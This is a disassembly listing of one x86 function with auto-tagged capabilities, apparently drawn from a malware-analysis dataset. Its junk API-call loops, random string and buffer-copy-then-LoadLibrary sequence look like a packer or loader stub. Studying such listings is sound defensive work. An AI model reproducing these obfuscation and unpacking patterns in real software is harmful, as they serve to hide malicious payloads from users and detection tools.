Function at 0x407549
Capabilities:
Get file attributes
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1060
call fcn.004070f0
mov eax, dword [0x435004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
xor eax, eax
cmp eax, 0x180
jne 0x40757e
mov ecx, dword [0x438474]
add ecx, 0xa231
mov dword [0x1baf304], ecx
cmp dword [0x1baf304], 0x141
jne 0x40759b
or dword [0x438f5c], 0xffffffff
mov dword [0x438f58], 0xec58acac
inc eax
cmp eax, 0x12376ec
jl 0x407565
push edi
xor edi, edi
cmp edi, 0x562d05
jne 0x4075b8
mov eax, dword [0x435c68]
mov dword [0x1baf434], eax
cmp dword [0x1baf304], 0x3c
jne 0x4075c8
push esi
call dword [sym.imp.KERNEL32.dll_LocalLock]
inc edi
cmp edi, 0x5f6c74
jl 0x4075a6
cmp dword [0x1baf304], 0x7c
jne 0x4076ac
lea eax, [ebp - 0x1044]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
lea eax, [ebp - 0x101c]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
xor eax, eax
mov word [ebp - 0x1034], ax
lea edi, [ebp - 0x1032]
stosw word es:[edi], ax
mov word [ebp - 0x1030], ax
lea edi, [ebp - 0x102e]
stosw word es:[edi], ax
lea eax, [ebp - 0x1060]
push eax
push dword [ebp - 0x1030]
lea eax, [ebp - 0x1038]
push dword [ebp - 0x1034]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
xor eax, eax
mov dword [ebp - 0x1058], esi
lea edi, [ebp - 0x1054]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x1058]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFileScatter]
push esi
lea eax, [ebp - 0x1004]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
lea eax, [ebp - 0x1040]
push eax
mov dword [ebp - 0x1040], esi
mov dword [ebp - 0x103c], esi
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
cmp dword [0x1baf304], 0x11
jne 0x4076a5
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32W]
push esi
call fcn.0040105a
pop ecx
cmp dword [0x1baf304], 0x110a
jne 0x40776b
push esi
push esi
mov dword [0x1baf2f8], esi
mov dword [0x1baf2fc], esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
lea eax, [ebp - 0x1038]
push eax
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push str.vujahebetunagubidiyuxugacazezon
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
push esi
push esi
lea eax, [ebp - 0xc04]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
push esi
push esi
call fcn.0040100f
push esi
push esi
call fcn.0040100f
xor eax, eax
push esi
push esi
mov dword [ebp - 0x1008], 7
mov dword [ebp - 0x100c], esi
mov word [ebp - 0x101c], ax
call fcn.0040100f
add esp, 0x18
cmp dword [ebp - 0x1008], 8
jb 0x40776b
push dword [ebp - 0x101c]
call fcn.0040104f
pop ecx
call fcn.00407264
xor ecx, ecx
cmp dword [0x1baf304], esi
jbe 0x4077bd
mov eax, dword [0x1baf434]
mov dword [ebp - 0x1030], eax
mov eax, 0xa231
add dword [ebp - 0x1030], eax
mov eax, dword [ebp - 0x1030]
mov al, byte [eax + ecx]
mov edx, dword [0x1baf14c]
mov byte [edx + ecx], al
mov eax, dword [0x1baf304]
cmp eax, 0x5ab
jne 0x4077b8
mov dword [0x1baf150], 0x19b0
inc ecx
cmp ecx, eax
jb 0x40777a
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.004072b9
call fcn.0040729b
call fcn.004074da
xor eax, eax
cmp eax, 0xd606b
jne 0x4077e5
call fcn.00407290
inc eax
cmp eax, 0x24e87d
jl 0x4077d9
mov edi, 0x1e4165
cmp dword [0x1baf304], 0xcc1
jne 0x407807
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
cmp dword [0x1baf304], 0x7c4
mov dword [0x1baf154], 0x8e46a6f0
jne 0x407825
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
dec edi
jne 0x4077f2
pop edi
cmp esi, 0x408e
jle 0x40783d
cmp dword [ebp - 0x1024], 0xf5bed7
jne 0x407846
inc esi
cmp esi, 0x687ed2
jl 0x407829
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401000
leave
ret